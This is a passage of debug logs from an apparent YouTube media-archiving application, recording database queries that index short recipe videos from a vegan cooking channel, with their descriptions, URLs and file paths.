surplus/peculiar produce!) I like making a batch of banana blender pancakes! Any bruised parts are totally fine to use when you’re just blending it all up anyway 😊 FULL RECIPE ON THE BLOG: https://steamyvegankitchen.com/8-ingredient-banana-blender-pancakes/\n\nSAVE THIS RECIPE FOR LATER! ✅ & watch full recipe video here: https://youtu.be/Ku7a74eh3a8\n\n1 overripe banana\n1 cup GF rolled oats \n3/4 cup non-dairy milk (unsweetened)\n1 tsp cinnamon \n1/4 tsp salt \n1/2 tbsp baking powder \n1 tbsp ACV\n1 tbsp maple syrup \n\nBlend all ingredients in a blender on HIGH speed for 30-45 seconds, until smooth - heat vegan butter in a frying pan - pour 1/3 cup per pancake - cook on both sides for 3-4 minutes until golden on the edges. Serve with your favourite toppings and ENJOY!! 🤤\n\n#steamyvegankitchen #steamyvegan #veganpancakes #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F", "BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts", 1, 52, false, "77_m-FKvGUs", "https://www.youtube.com/shorts/77_m-FKvGUs", "/downloads/downloads/alec/Steamy Vegan/2022-05-20 BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts/BANANA BLENDER PANCAKES 🥞 8 ingredients, vegan and gluten-free! 🌱 #shorts [77_m-FKvGUs].NA", true, ~U[2022-05-20 00:00:02Z]] 20:31:11.086 [debug] QUERY OK source="sources" db=0.9ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.088 [debug] QUERY OK source="media_items" db=1.7ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-19 19:00:24Z], 1] 20:31:11.090 [debug] QUERY OK source="media_items" db=1.2ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Last up in my easy vegan lunch series 😉 LOADED LAZY NOODLE BOWLS 🍜 \n\nFeeling like a 9/10 on the lazy scale? This is your sign to make some cheap fancy soup 🍲 Check out the full video 'EASY VEGAN LUNCH RECIPES' https://youtu.be/-q-Al8ffyEg\n\nAll your veggies can be thrown into one bowl to cook if you want, as long as none of them are frozen, otherwise you might end up with lukewarm water and undercooked noodles 😱 \n\nSAVE THIS RECIPE TO MAKE LATER! Full recipe on the blog: https://steamyvegankitchen.com/loaded-lazy-noodle-bowls/\n\nIngredients 🍜 for TWO\n2 packs of vegan instant noodles or ramen \n2 baby bok choy\n2 green onions \n1 small carrot \n1/2 a celery stalk \n2” chunk daikon radish \n1 cup soy curls \n\n🔸 In a large bowl pour boiling hot water over the soil curls to rehydrate them (10 mins). Strain and press out excess moisture. Set aside.\n🔸 While soy curls do their thing, chop your veggies as you please. Add the noodle bowl contents into 2 large bowls, and add all the veg except green onion and bio choy. Pour boiling hot water overtop, cover with plates and let cook for 5 mins.\n🔸 While the noods do their thing, quickly sauté the bok choy and (optional) frozen edamame. \n🔸 Add the bok choy, edamame, soy curls, green onion and whatever garnishes you love. Try cilantro and sriracha! Slurp up and enjoy your lazy bowl 🥣 \n\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Syphax - Rose Lips - https://thmatc.co/?l=320D5393", "LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱", "4dfd5b93-7bb7-467d-ae1b-7b6aa996e9d0", 1, [], 60, false, "lxaC1ny1lnI", "https://www.youtube.com/shorts/lxaC1ny1lnI", 441, "/downloads/downloads/alec/Steamy Vegan/2022-05-19 LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱/LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱 [lxaC1ny1lnI].NA", false, false, true, 3, ~U[2022-05-19 19:00:24Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Last up in my easy vegan lunch series 😉 LOADED LAZY NOODLE BOWLS 🍜 \n\nFeeling like a 9/10 on the lazy scale? This is your sign to make some cheap fancy soup 🍲 Check out the full video 'EASY VEGAN LUNCH RECIPES' https://youtu.be/-q-Al8ffyEg\n\nAll your veggies can be thrown into one bowl to cook if you want, as long as none of them are frozen, otherwise you might end up with lukewarm water and undercooked noodles 😱 \n\nSAVE THIS RECIPE TO MAKE LATER! Full recipe on the blog: https://steamyvegankitchen.com/loaded-lazy-noodle-bowls/\n\nIngredients 🍜 for TWO\n2 packs of vegan instant noodles or ramen \n2 baby bok choy\n2 green onions \n1 small carrot \n1/2 a celery stalk \n2” chunk daikon radish \n1 cup soy curls \n\n🔸 In a large bowl pour boiling hot water over the soil curls to rehydrate them (10 mins). Strain and press out excess moisture. Set aside.\n🔸 While soy curls do their thing, chop your veggies as you please. Add the noodle bowl contents into 2 large bowls, and add all the veg except green onion and bio choy. Pour boiling hot water overtop, cover with plates and let cook for 5 mins.\n🔸 While the noods do their thing, quickly sauté the bok choy and (optional) frozen edamame. \n🔸 Add the bok choy, edamame, soy curls, green onion and whatever garnishes you love. Try cilantro and sriracha! Slurp up and enjoy your lazy bowl 🥣 \n\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Syphax - Rose Lips - https://thmatc.co/?l=320D5393", "LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱", 1, 60, false, "lxaC1ny1lnI", "https://www.youtube.com/shorts/lxaC1ny1lnI", "/downloads/downloads/alec/Steamy Vegan/2022-05-19 LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱/LOADED LAZY NOODLE BOWLS 🍜 Easy & comforting vegan lunch for when you are feeling lazy AF 🥱 [lxaC1ny1lnI].NA", true, ~U[2022-05-19 19:00:24Z]] 20:31:11.091 [debug] QUERY OK source="sources" db=0.7ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.093 [debug] QUERY OK source="media_items" db=1.7ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-19 15:00:16Z], 1] 20:31:11.094 [debug] QUERY OK source="media_items" db=1.1ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Next up in my easy vegan lunch series, this 1-BOWL ZESTY BLACK BEAN MASH is the ✨ real deal ✨ So great for easy meal prep and quick lunches!\n\n10 MINUTES - 9 INGREDIENTS - 1 BOWL 🥣 For full recipe and instructions, head to my video EASY VEGAN LUNCH IDEAS: https://youtu.be/-q-Al8ffyEg\n\nNot exaggerating at all when I say this will be your new fave once you try it 😉\n\nSAVE THIS RECIPE TO MAKE LATER! ✅ Full recipe In the blog: steamyvegankitchen.com/zesty-black-bean-mash/\n\n🔸 1 can black beans, drained and rinsed \n🔸 1/2 cup salsa \n🔸 1 tbsp vegan mayo\n🔸 1 tbsp hot/grainy mustard \n🔸 1 tsp smoked paprika \n🔸 1/2 tsp garlic powder \n🔸 2 green onions \n🔸 juice of 1/2 a lime \n🔸 large handful of cilantro \n\nMash the beans in a large bowl, add all remaining ingredients and combine well with a fork. Serve on toast, with tortillas chips or enjoy on its own 😉\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly!", "2be0869c-1bb5-47bd-a9a3-9f8014f7d8dd", 1, [], 59, false, "X45OcDpQt28", "https://www.youtube.com/shorts/X45OcDpQt28", 442, "/downloads/downloads/alec/Steamy Vegan/2022-05-19 1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly!/1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly! [X45OcDpQt28].NA", false, false, true, 3, ~U[2022-05-19 15:00:16Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Next up in my easy vegan lunch series, this 1-BOWL ZESTY BLACK BEAN MASH is the ✨ real deal ✨ So great for easy meal prep and quick lunches!\n\n10 MINUTES - 9 INGREDIENTS - 1 BOWL 🥣 For full recipe and instructions, head to my video EASY VEGAN LUNCH IDEAS: https://youtu.be/-q-Al8ffyEg\n\nNot exaggerating at all when I say this will be your new fave once you try it 😉\n\nSAVE THIS RECIPE TO MAKE LATER! ✅ Full recipe In the blog: steamyvegankitchen.com/zesty-black-bean-mash/\n\n🔸 1 can black beans, drained and rinsed \n🔸 1/2 cup salsa \n🔸 1 tbsp vegan mayo\n🔸 1 tbsp hot/grainy mustard \n🔸 1 tsp smoked paprika \n🔸 1/2 tsp garlic powder \n🔸 2 green onions \n🔸 juice of 1/2 a lime \n🔸 large handful of cilantro \n\nMash the beans in a large bowl, add all remaining ingredients and combine well with a fork. Serve on toast, with tortillas chips or enjoy on its own 😉\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly!", 1, 59, false, "X45OcDpQt28", "https://www.youtube.com/shorts/X45OcDpQt28", "/downloads/downloads/alec/Steamy Vegan/2022-05-19 1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly!/1-BOWL ZESTY BLACK BEAN MASH! 🤤 Easy vegan lunch Idea! 10 mins, 9 ingredients, meal prep friendly! [X45OcDpQt28].NA", true, ~U[2022-05-19 15:00:16Z]] 20:31:11.095 [debug] QUERY OK source="sources" db=0.4ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.097 [debug] QUERY OK source="media_items" db=1.5ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-19 00:00:12Z], 1] 20:31:11.098 [debug] QUERY OK source="media_items" db=1.2ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["First up in my #easyveganlunch series ✨ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DRESSING✨\n\nNourishing - filling - fun to make! An easy vegan lunch idea\n\nIf you’ve never made salad rolls before, this is your sign 😉 For full recipe and instructions, head to my EASY VEGAN LUNCH IDEAS VIDEO: https://youtu.be/-q-Al8ffyEg \n\nSAVE THIS RECIPE TO MAKE LATER! ✅ Full recipe on my blog: https://steamyvegankitchen.com/asian-inspired-tofu-salad-rolls/ \n\nTofu marinade:\n🔸2 tbsp GF soy sauce or tamari \n🔸 2 tbsp maple syrup \n🔸 2 tbsp sesame oil \n🔸 dash of cayenne pepper \n\nVeggies I used:\n🔸 Carrot\n🔸 Zucchini \n🔸 Daikon radish \n🔸 Red onion \n🔸 Spinach \n\nDipping sauce: \n🔸 2 tbsp tahini \n🔸 2 tbsp tamari \n🔸 juice of 1/2 a lemon \n🔸 1 tsp sweetener \n\n1. Combine all marinade ingredients in a jar, shake well and pour over sliced tofu in a ziploc bag and marinate for 20 mins up to overnight.\n2. Bake tofu for 40 mins at 425F on top rack, turning halfway through. \n3. Thinly slice all your veggies. Run rice paper sheets (will need 8 total) through warm water and roll up the veggies and tofu (slice each piece in half) inside like a burrito. Set aside.\n4. Combine all dipping sauce ingredients in a small bowl. Dip, dip hooray! Enjoy your salad rolls 😉\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Mr. Jello - Passion Fruit - https://thmatc.co/?l=9DD7E56A", "ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱", "44327784-6c19-4491-92c7-717adaa4991b", 1, [], 59, false, "TwRn_K-ZTW0", "https://www.youtube.com/shorts/TwRn_K-ZTW0", 443, "/downloads/downloads/alec/Steamy Vegan/2022-05-19 ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱/ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱 [TwRn_K-ZTW0].NA", false, false, true, 3, ~U[2022-05-19 00:00:12Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "First up in my #easyveganlunch series ✨ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DRESSING✨\n\nNourishing - filling - fun to make! An easy vegan lunch idea\n\nIf you’ve never made salad rolls before, this is your sign 😉 For full recipe and instructions, head to my EASY VEGAN LUNCH IDEAS VIDEO: https://youtu.be/-q-Al8ffyEg \n\nSAVE THIS RECIPE TO MAKE LATER! ✅ Full recipe on my blog: https://steamyvegankitchen.com/asian-inspired-tofu-salad-rolls/ \n\nTofu marinade:\n🔸2 tbsp GF soy sauce or tamari \n🔸 2 tbsp maple syrup \n🔸 2 tbsp sesame oil \n🔸 dash of cayenne pepper \n\nVeggies I used:\n🔸 Carrot\n🔸 Zucchini \n🔸 Daikon radish \n🔸 Red onion \n🔸 Spinach \n\nDipping sauce: \n🔸 2 tbsp tahini \n🔸 2 tbsp tamari \n🔸 juice of 1/2 a lemon \n🔸 1 tsp sweetener \n\n1. Combine all marinade ingredients in a jar, shake well and pour over sliced tofu in a ziploc bag and marinate for 20 mins up to overnight.\n2. Bake tofu for 40 mins at 425F on top rack, turning halfway through. \n3. Thinly slice all your veggies. Run rice paper sheets (will need 8 total) through warm water and roll up the veggies and tofu (slice each piece in half) inside like a burrito. Set aside.\n4. Combine all dipping sauce ingredients in a small bowl. Dip, dip hooray! Enjoy your salad rolls 😉\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Mr. Jello - Passion Fruit - https://thmatc.co/?l=9DD7E56A", "ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱", 1, 59, false, "TwRn_K-ZTW0", "https://www.youtube.com/shorts/TwRn_K-ZTW0", "/downloads/downloads/alec/Steamy Vegan/2022-05-19 ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱/ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱 [TwRn_K-ZTW0].NA", true, ~U[2022-05-19 00:00:12Z]] 20:31:11.099 [debug] QUERY OK source="sources" db=0.4ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.101 [debug] QUERY OK source="media_items" db=1.7ms idle=4.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-18 23:52:07Z], 1] 20:31:11.102 [debug] QUERY OK source="media_items" db=0.6ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out our full video with much better hangover foods then this one, link below. We thought it would be hilarious for Brad to have a bunch of tequila shots and then we filmed this hangover foods episode. Definitely a few regrets after making this but hopefully some of the advice will help you with your hangover the next day!\n\nFull YouTube Video: https://youtu.be/gGDt_fft5sQ", "The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts", "037ba3cf-a85c-42a4-84cc-6a301a1cfad6", 1, [], 38, false, "kpKhtQ3MT_I", "https://www.youtube.com/shorts/kpKhtQ3MT_I", 444, "/downloads/downloads/alec/Steamy Vegan/2022-05-18 The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts/The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts [kpKhtQ3MT_I].NA", false, false, true, 4, ~U[2022-05-18 23:52:07Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Check out our full video with much better hangover foods then this one, link below. We thought it would be hilarious for Brad to have a bunch of tequila shots and then we filmed this hangover foods episode. Definitely a few regrets after making this but hopefully some of the advice will help you with your hangover the next day!\n\nFull YouTube Video: https://youtu.be/gGDt_fft5sQ", "The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts", 1, 38, false, "kpKhtQ3MT_I", "https://www.youtube.com/shorts/kpKhtQ3MT_I", "/downloads/downloads/alec/Steamy Vegan/2022-05-18 The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts/The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts [kpKhtQ3MT_I].NA", true, ~U[2022-05-18 23:52:07Z]] 20:31:11.102 [debug] QUERY OK source="sources" db=0.4ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.104 [debug] QUERY OK source="media_items" db=1.4ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-18 19:00:14Z], 1] 20:31:11.105 [debug] QUERY OK source="media_items" db=0.9ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I think I’ve found the perfect rice. 😭 It’s all I can think about! Hnnngggg 🤤🤤🤤\n\nCHIPOTLE COCONUT GINGER RICE 🔸 INSTANT POT🔸\n1 chipotle pepper in adobo sauce, minced \n2 inch chunk ginger, minced \n2 cups full fat coconut milk \n2 cups water or veggie broth\n2 cups white basmati rice \nZest of 1 lime \n3/4 tsp salt \n\n1. Press SAUTÉ function on IP: Sauté the chipotle pepper and minced ginger in 1 tbsp oil on medium heat for 5 minutes until it is fragrant and golden. \n2. Hit CANCEL: add the coconut milk, veggie broth, rice and lime zest, and stir well. \n3. Seal the lid, hit the RICE function and set timer for 10 minutes. Once done cooking, let sit for 10 minutes and then do a QUICK RELEASE. Fluff rice with a fork and DEVOUR THAT SH*T!! \n\nYou won’t regret it 😍 SUBSCRIBE FOR MORE EASY VEGAN RECIPES! \n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #ricelover #instantpotvegan", "CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥", "3faf841b-e712-4fc9-9e18-ab1f8dedcc19", 1, [], 7, false, "pRI0Be-sM8w", "https://www.youtube.com/shorts/pRI0Be-sM8w", 445, "/downloads/downloads/alec/Steamy Vegan/2022-05-18 CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥/CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥 [pRI0Be-sM8w].NA", false, false, true, 4, ~U[2022-05-18 19:00:14Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "I think I’ve found the perfect rice. 😭 It’s all I can think about! Hnnngggg 🤤🤤🤤\n\nCHIPOTLE COCONUT GINGER RICE 🔸 INSTANT POT🔸\n1 chipotle pepper in adobo sauce, minced \n2 inch chunk ginger, minced \n2 cups full fat coconut milk \n2 cups water or veggie broth\n2 cups white basmati rice \nZest of 1 lime \n3/4 tsp salt \n\n1. Press SAUTÉ function on IP: Sauté the chipotle pepper and minced ginger in 1 tbsp oil on medium heat for 5 minutes until it is fragrant and golden. \n2. Hit CANCEL: add the coconut milk, veggie broth, rice and lime zest, and stir well. \n3. Seal the lid, hit the RICE function and set timer for 10 minutes. Once done cooking, let sit for 10 minutes and then do a QUICK RELEASE. Fluff rice with a fork and DEVOUR THAT SH*T!! \n\nYou won’t regret it 😍 SUBSCRIBE FOR MORE EASY VEGAN RECIPES! \n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #ricelover #instantpotvegan", "CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥", 1, 7, false, "pRI0Be-sM8w", "https://www.youtube.com/shorts/pRI0Be-sM8w", "/downloads/downloads/alec/Steamy Vegan/2022-05-18 CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥/CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥 [pRI0Be-sM8w].NA", true, ~U[2022-05-18 19:00:14Z]] 20:31:11.106 [debug] QUERY OK source="sources" db=0.4ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.107 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-18 15:00:33Z], 1] 20:31:11.113 [debug] QUERY OK source="media_items" db=6.1ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 